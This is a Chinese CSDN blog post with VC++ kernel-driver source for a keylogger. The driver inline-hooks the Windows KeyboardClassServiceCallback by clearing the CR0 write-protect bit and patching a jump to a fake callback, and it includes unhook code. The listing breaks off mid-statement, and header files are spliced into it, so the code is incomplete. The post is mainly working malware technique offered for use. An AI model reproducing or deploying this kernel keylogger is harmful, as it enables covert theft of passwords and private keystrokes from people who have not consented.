vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录

该博客介绍了如何使用VC++实现内联Hook技术,特别是针对键盘输入服务回调函数KeyboardClassServiceCallback,以实现键盘记录功能。通过禁用写保护、替换函数代码等步骤,详细讲解了键盘钩子的设置和解除过程。
摘要由CSDN通过智能技术生成

/*

 

*/

#ifndef _DBGHELP_H
#define _DBGHELP_H 1

#include <ntddk.h>

#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint

#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)

#endif

#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>

#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存储键盘扫描码的缓冲区,其中第一字节为当前存储位置,
ULONG g_OldFunction;
ULONG g_uCr0;

BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移,所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID  ReadKeyBuf();
VOID  ChangeFake_Function();
VOID
fake_OldFunction (
      PDEVICE_OBJECT  DeviceObject,
      PKEYBOARD_INPUT_DATA  InputDataStart,
      PKEYBOARD_INPUT_DATA  InputDataEnd,
      PULONG  InputDataConsumed
      );
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif

/*

  HookKey.H

  Author: <your name>
  Last Updated: 2006-02-12

  This framework is generated by EasySYS 0.3.0
  This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu

*/

#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1

//
// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//

#define FILE_DEVICE_HOOKKEY 0x8000

//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//

#define HOOKKEY_IOCTL_BASE 0x800

//
// The device driver IOCTLs
//

#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY, HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)

//
// Name that Win32 front end will use to open the HookKey device
//

#define HOOKKEY_WIN32_DEVICE_NAME_A ".//HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L".//HookKey"
#define HOOKKEY_DEVICE_NAME_A   "//Device//HookKey"
#define HOOKKEY_DEVICE_NAME_W   L"//Device//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A  "//DosDevices//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W  L"//DosDevices//HookKey"

#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif

#endif
   
VOID
Proxy_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    );
typedef VOID
(*My_KeyboardClassServiceCallback) (
         PDEVICE_OBJECT  DeviceObject,
         PKEYBOARD_INPUT_DATA  InputDataStart,
         PKEYBOARD_INPUT_DATA  InputDataEnd,
         PULONG  InputDataConsumed
         );
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
  
}

VOID WPON()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢復原有 CR0 屬性
        mov cr0, eax;
        pop eax;
    };
  
}


//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
    KIRQL  oldIrql;

    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
   
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );

    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = FALSE;
}


//
// 开始inline hook --  OldFunction
//
VOID HookOldFunction ()
{
    KIRQL  oldIrql;

    if (g_OldFunction == 0) {
        DbgPrint("OldFunction == NULL/n");
        return;
    }

    //DbgPrint("开始inline hook --  OldFunction/n");
    DbgPrint( "OldFunction的地址t0x%08x/n", (ULONG)g_OldFunction );
    // 保存原函数的前字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
   
   
    // 禁止系统写保护,提升IRQL到DPC
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
 
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值